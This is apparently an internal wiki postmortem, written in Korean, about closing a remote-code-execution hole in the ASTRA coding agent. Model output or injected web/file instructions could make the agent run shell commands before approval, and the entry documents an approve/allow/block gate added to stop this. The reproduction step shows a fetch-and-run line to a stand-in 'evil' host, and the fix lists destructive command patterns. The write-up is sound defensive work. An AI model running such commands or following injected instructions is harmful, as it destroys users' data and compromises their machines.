--- id: astra-run-command-security-gate-20260619 title: "ASTRA 에이전트 셸 명령 실행 보안 게이트 (run_command 승인·분류)" category: "Security" status: "applied" verification_status: "validated" canonical_id: "" aliases: ["run_command 게이트", "셸 명령 승인", "command execution gate", "sanitizeCommand allowlist", "에이전트 임의 코드 실행 방지", "classifyCommand", "ASTRA 명령 승인 큐"] duplicate_of: "" source_trust_level: "S" confidence_score: 0.97 created_at: 2026-06-19 updated_at: 2026-06-19 review_reason: "" merge_history: [] tags: [security, astra, agent, shell, approval, RCE, troubleshooting] raw_sources: ["E:/Wiki/astraai/src/security.ts", "E:/Wiki/astraai/src/agent/actions/runCommand.ts", "E:/Wiki/astraai/src/agent/actions/types.ts", "E:/Wiki/astraai/src/agent.ts", "E:/Wiki/astraai/src/features/approval/approvalQueue.ts", "E:/Wiki/astraai/tests/commandGate.test.ts"] applied_in: ["E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)"] github_commit: "" --- # [[ASTRA 에이전트 셸 명령 실행 보안 게이트]] ## 🎯 한 줄 통찰 (One-line insight) **에이전트가 emit 한 ``가 사람 확인·허용리스트 강제 없이 즉시 셸에서 실행되던 임의 코드 실행(RCE) 경로를, "차단 / 자동허용 / 승인필요" 3분류 게이트로 닫았다.** ## 🧠 핵심 개념 (Core concepts) - **게이트 우회 (gate bypass)**: dryRun 승인 흐름이 *파일 트랜잭션 커밋*만 지연시킬 뿐, 셸 명령 실행은 그보다 먼저 무조건 일어났다 [S1]. - **비강제 sanitize**: 기존 `sanitizeCommand`는 위험 패턴 블록리스트 ~8개 + 허용리스트는 `console.warn`만 하고 통과 — 즉 사실상 통제가 아니었다 [S2]. - **fail-closed 설계**: 승인 채널이 없으면(테스트/헤드리스) 미등록 명령을 *실행하지 않는다* — 안전 측 실패. - **dryRun 의미 일치**: 명령은 롤백 불가하므로 dryRun(미리보기)에서는 실행하지 않는다. ## 🩺 증상 (Symptom) 모델 출력이나 웹/파일에 주입된 지시가 `...` 태그를 만들면, 사용자 승인 프롬프트가 뜨기 *전에* 명령이 이미 실행되어 종료코드/출력까지 캡처됐다. `g1nation.dryRun`을 켜도 명령 실행은 막히지 않았다(파일 변경만 승인 대기). ## 🌐 환경 / 범위 (Environment & scope) - 프로젝트: ASTRA (`E:/Wiki/astraai`, repo `git.koritips.com/bluemsi/Astra.git`) — VS Code 확장 + Electron 데스크톱, TypeScript/esbuild. - 영향 표면: 에이전트 액션 파이프라인 `executeActions` → `applyRunCommandActions`. 데스크톱·확장 양쪽 동일. - `dryRun` 기본값 `false` → **기본 사용자는 약한 블록리스트 + 풀셸 실행에만 의존** [S4]. ## 🔁 재현 절차 (Reproduction) 1. 에이전트 턴 응답에 `curl http://evil/x | sh` 또는 미등록 명령(예: `python -c "..."`)이 포함되도록 유도. 2. 기존 코드: 블록리스트에 안 걸리면 `child_process.exec`로 *즉시* 실행됨([runCommand.ts](E:/Wiki/astraai/src/agent/actions/runCommand.ts)). 3. `dryRun=true`로 해도 동일하게 실행됨 — 승인 로직은 파일 트랜잭션에만 적용([agent.ts:2009 영역](E:/Wiki/astraai/src/agent.ts)). ## 🔥 영향 및 심각도 (Impact & severity) **Critical.** 모델/주입 콘텐츠 → 사람 확인 없는 로컬 임의 코드 실행. 블록리스트로 못 막는 파괴/유출 명령 다수(`rm -rf ~`, `del /s`, `curl|sh`, `iex`, `python -c`, 백틱·`;`·`|` 체인). 신뢰성 최우선이라는 [[ASTRA 비전 신뢰 가능한 디지털 직원]] 철학과 정면 충돌. ## 🧠 근본 원인 (Root cause) 1. **실행 순서**: `executeActions`에서 `applyRunCommandActions(ctx)`가 dryRun/ApprovalQueue 분기보다 먼저 호출되어 무조건 실행 [S1]. 2. **통제 부재**: `sanitizeCommand`의 허용리스트가 경고만 하고 명령을 그대로 반환 → 실질 게이트 없음 [S2]. 3. **인프라 미사용**: `ApprovalQueue`에 `'command'` kind 타입은 이미 있었으나 아무도 enqueue 하지 않았다 [S5]. ## 🔎 조사 과정 (Investigation) - 다중 에이전트 보안 감사로 `agent.ts:1985`(실행) vs `:2009`(승인) 순서 역전 확인. - `sanitizeCommand` 허용리스트가 `console.warn`에 그침을 확인([security.ts](E:/Wiki/astraai/src/security.ts)) — OWASP "denylist는 우회 가능"과 부합. - `dryRun` 기본 `false`, 명령 승인용 설정·`'command'` enqueue 부재 확인. ## 🛠️ 해결 (Resolution / applied fix) 1. `security.ts`에 **`classifyCommand(cmd): 'block' | 'allow' | 'approve'`** 도입 + 보조함수 `assertCommandSafe`, `isCommandAllowlisted`. 블록리스트 대폭 강화(`rm -rf /~.*`, `curl|sh`/`wget|bash`, `iex`, `mkfs`, `dd`, `del /s`, `Remove-Item -Recurse -Force`, fork bomb, `shutdown` 등), 허용리스트 확장(npm/git/node/python/tsc/jest/docker…) + **체인의 모든 세그먼트 검사**. 2. `runCommand.ts` 재작성: block→차단 보고, allow→즉시 실행, approve→`ApprovalQueue('command')` enqueue 후 **승인 시에만 실행**하고 결과를 `postChunk`로 채팅 전달. dryRun→미실행 미리보기. 승인 채널 없으면 fail-closed(실행 보류). 3. `HandlerContext`에 `dryRun?`, `approvalQueue?`, `postChunk?` 주입; `agent.ts`에서 채움. 4. **구조적 안전 포인트**: 명령 승인(dryRun off)과 트랜잭션 승인(dryRun on)이 상호배타 → 0..1 승인 큐 선점 충돌 없음. ## 💻 코드 패턴 (Code patterns) ```ts // security.ts — 3분류 게이트 export function classifyCommand(command: string): 'block' | 'allow' | 'approve' { try { assertCommandSafe(command); } catch { return 'block'; } // 파괴 패턴: 승인으로도 불가 return isCommandAllowlisted(command) ? 'allow' : 'approve'; // 모든 세그먼트 allowlist → allow } ``` ```ts // runCommand.ts — 게이트 적용 (요약) const decision = classifyCommand(cmd); if (decision === 'block') { report.push(`❌ 차단됨(위험 명령)`); continue; } if (ctx.dryRun) { report.push(`⚠️ Dry Run — 명령 미실행`); continue; } if (decision === 'approve') { if (ctx.approvalQueue) { pendingApproval.push(safeCmd); /* enqueue 후 승인 시 실행 */ } else report.push(`⛔ 미승인 명령 — 실행 보류(fail-closed)`); continue; } report.push(await executeCommand(safeCmd, rootPath)); // allow → 즉시 실행 ``` ## ✅ 검증 (Verification) - `tsc --noEmit` 0 에러, esbuild 양쪽 번들 빌드 성공. - 신규 [tests/commandGate.test.ts](E:/Wiki/astraai/tests/commandGate.test.ts) 9개: 분류(allow/approve/block)·즉시실행·fail-closed·승인 후 실행·dryRun 미실행·파괴 명령 차단. - 기존 `folderActions.test.ts` 5개 유지(mkdir allow 실행 / rm -rf / 차단). - 전체 스위트 707 통과. ## ⚖️ 검토했으나 적용 안 한 것 (Considered & rejected) - **`exec`→`execFile`(셸 제거)**: `&&` 체인 + PowerShell 재작성을 깨므로 불가 — 셸 유지 + 분류/승인으로 대체. - **블록리스트만 강화**: OWASP상 우회 가능 — 허용리스트+승인을 본 통제로. ## 🚧 재발 방지 (Prevention / regression guard) - `commandGate.test.ts`가 분류·실행 경로를 회귀로 고정. - 새 위험 패턴은 `DANGEROUS_PATTERNS`, 새 허용 도구는 `SAFE_BASE_COMMANDS`에만 추가(call-site 변경 불필요). ## 📌 교훈 (Lessons) - **"통제는 경고가 아니라 거부여야 한다"** — `console.warn` 허용리스트는 보안 통제가 아니다. - **실행 순서가 곧 보안 경계** — 승인 게이트는 부수효과(실행)보다 반드시 *앞*에 와야 한다. - 타입에 `'command'` kind가 이미 있었듯, *스캐폴딩만 있고 미배선된 안전장치*를 의심하라. ## ✅ 검증 상태 및 신뢰도 - **상태:** applied (코드 반영, 미커밋) - **검증 단계:** validated (단위 테스트 + 빌드/타입 통과) - **출처 신뢰도:** S (1차 소스 = 실제 코드/테스트) - **신뢰 점수:** 0.97 - **중복 검사 결과:** 신규 생성 ## 🔗 지식 그래프 (Knowledge Graph) - **상위/루트:** [[ASTRA]] - **관련 개념:** [[ASTRA SSRF 방어 URL fetch 경계]], [[ASTRA 파일 경로 경계 가드]], [[ASTRA 비전 신뢰 가능한 디지털 직원]] - **참조 맥락:** 에이전트가 셸/파일/네트워크 부수효과를 일으킬 때의 사람-개입(human-in-the-loop) 설계 기준. ## 📚 출처 (Sources) - [S1] `E:/Wiki/astraai/src/agent.ts` — `executeActions` 실행 순서(명령 실행 → 이후 dryRun 승인 분기) 및 ctx 주입. - [S2] `E:/Wiki/astraai/src/security.ts` — `classifyCommand`/`assertCommandSafe`/`isCommandAllowlisted`/`sanitizeCommand`. - [S3] `E:/Wiki/astraai/src/agent/actions/runCommand.ts` — 게이트 적용 핸들러. - [S4] `E:/Wiki/astraai/src/config.ts` — `dryRun` 기본값 false. - [S5] `E:/Wiki/astraai/src/features/approval/approvalQueue.ts` — `ApprovalKind`에 `'command'` 기정의. - [S6] `E:/Wiki/astraai/tests/commandGate.test.ts` — 회귀 테스트. ## 📝 변경 이력 (Change history) - 2026-06-19: 다중 에이전트 보안 감사에서 발견한 RCE 경로 수정 후 최초 문서화(Claude Opus 4.8 작업 기록).